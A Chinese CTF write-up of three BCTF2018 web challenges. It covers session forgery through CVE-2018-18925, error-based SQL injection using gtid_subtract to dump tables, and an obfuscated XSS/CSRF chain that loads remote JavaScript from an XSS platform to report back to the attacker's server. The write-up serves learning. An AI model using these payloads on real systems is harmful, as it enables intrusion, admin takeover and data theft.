前言
总结一下BCTF2018的解题过程,这篇博客只有其中三道题,包括但不仅限于gogs框架的任意用户登录漏洞、SQL报错注入、XSS。
虽然自己做的时候都没做出来,但在看wp的过程中回顾自己的思路时,从中发现了自己的思路偏在哪里了,有哪些从前没想过的切入点。
checkin
输入一个不存在的url,看到404报错,提示:
Powered by beego 1.7.2
思路是老大提供的
关于gitea/gogs的CVE-2018-18925/6任意用户登录/代码执行漏洞
go-macaron(https://github.com/go-macaron/session version<0.4.0)
beego(https://github.com/astaxie/beego version<1.11.0)
都存在这个问题,p神的vulhub中也有这个洞的docker:CVE-2018-18925
以文件存储session,且sessionid没有过滤./
的时候导致可以用任意文件作为session
所以这道题可以在头像上传处上传伪造的session文件,再用sessionid包含即可伪造身份为admin
这里不能使用之前的poc构造session文件了,要改一下,我当时做题时就不知道怎么改,现在学到了一些思路。
先上传一个0B的图片,把session设置成该地址,登陆后下载头像,解析其中的字段类型,发现两项
1 | UID int |
可以直接改CVE-2018-18925的poc为
1 | package main |
跑完poc得到一段十进制数据
放到CyberChef的From HEX
功能中,存个poc.jpg
上传poc.jpg后修改sessionid为上传的返回地址../../../../../../go/src/github.com/checkin/website/static/img/avatar/xxxxxxx.png
,登陆到admin用户,访问Admin Panel得到flag
babySQLiSPA
这道题我第一眼看了以为是二次注入,然后在二次注入的路上越走越远,直到这道题官方的hint给了waf。
注册用户名的时候发现限定了[a-zA-Z0-9]
,把其它的都过滤了, 所以没法二次注入了。
r3kapig的writeup中提到,在看网页源码时发现是用webpack打包的,用webpack打包过后会生成.map文件,于是访问main.dfa730c5.js.map,在其中可以发现两个没有用到的api:
searchHints中用到的captcha就是从getCaptcha中得到的,于是:
/api/hints可以注入,且报错回显。
看一下给的WAF
1 | export function checkHint (hint) { |
使用报错函数gtid_subtract()
绕过
hints:'or(gtid_subtract((select(group_concat(table_name))from(information_schema.tables)where((table_schema=database()))),''))or'
但发现返回的表名都是乱码,因为GTID_SUBTRACT()的报错信息有长度限制,最多140字节,Nu1L是限制表名长度来提取的,长度为30的时候拿到flag表”vhEFfFlLlLaAAaaggIiIIsSSHeReEE “
payload:hint='or(gtid_subtract((select(group_concat(table_name))from(information_schema.tables)where((length(table_name)=ord('j')^ord('t')))),''))or'
这里也可以引入reverse()函数倒序查看表名
然后再爆列名:hint='||gtid_subtract((select(concat(column_name))from(information_schema.columns)where(table_name='vhEFfFlLlLaAAaaggIiIIsSSHeReEE')),'')#
报错信息:{"error":"Malformed GTID set specification 'ZSLRSrpOlCCysnaHUqCEIjhtWbxbMlDkUO'."}
最后的payload:hints:'||gtid_subtract((select(ZSLRSrpOlCCysnaHUqCEIjhtWbxbMlDkUO)from(vhEFfFlLlLaAAaaggIiIIsSSHeReEE)),'')#
.
这道题主要没想到sql注入的位置,学习了一种报错注入用的函数。
SEAFARING1
做这道题时发现login处有个XSS,之前没做过XSS的题,登陆的时候需要验证码,也没发现有什么用。
还有一个robots.txt提示文件:
1 | User-agent: * |
view-source:http://seafaring.xctf.org.cn:9999/admin
可以看到后台的部分源码:
1 | function view_uid(uid) { |
进到/admin/handle_message.php
中,提示:
{"result":"","error":"CSRFToken ''is not correct"}
注意到error双引号内部有个’’,猜测传入的csrftoken可能直接输出到了页面中
结合源码,发现csrftoken通过token参数使用post方法传入
传入后会回显token值,存在反射型XSS,构造类似<img src=1 onerror=alert(/xss/)>
的payload时会发现对’/‘转义了。
接下来构造一个页面让管理员访问,这道题的评论链接会被bot机器人主动访问,因此构造csrf的html页面让bot访问。
之前发现了’/‘被转义了,所以这里我们使用svg或img进行xss,同时为了避免引号的问题,使用fromCharCode()方法或者使用base64编码再用atob()函数解码的方法。
1 | String.fromCharCode(numX,numX,...,numX) |
html页面为
1 | <html> |
这里的value内容也可以替换为
1 | <body><img src=x onerror=eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,41,46,115,114,99,61,39,104,116,46,99,110,47,69,121,76,83,53,99,103,39))></body> |
注释:
1 | >>>atob('cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPSdodHRwOi8veHNzcHQuY29tL0dDNkRURz8nK01hdGgucmFuZG9tKCk=') |
这里的链接地址是在xss平台上面建立的项目,引入js文件
当然也可以把js文件放在自己的vps上面
外部引入的js文件(Nu1l的师傅写的 ):
1 | function req(url,data){ |
send()函数中的href是自己的vps
发现返回了sqlquery debug
信息
1 | {"result":"","error":"sql query error! debug info:SELECT timestamp,user_name,uid,is_checked,message FROM feedbacks where uid='1' ORDER BY id DESC "} |
有一个接口存在数字型注入
1 | {"result":"","error":"sql query error! debug info:SELECT timestamp,user_name,uid,is_checked FROM feedbacks where is_checked=1\\' ORDER BY id DESC limit 0,50"} |
爆表爆字段最后拿flag
1 | {"result":[["1","admin,f111111ag,feedbacks","3","4"]],"error":""} |
后记
xss是很久之前看的了,一直没有像这样进行一次系统的利用过,这次算是了了一桩心愿
大二上学期接下来的日子准备复习四级,复习期末,学一些渗透姿势和python,闲暇时打打ctf,就过去了
十二月了,要买回家的车票了,这次不想坐飞机,看不到沈阳的雪了
周末看了将夜,很久前看过的小说拍剧了,很好看
红墙白雪,要你喜欢。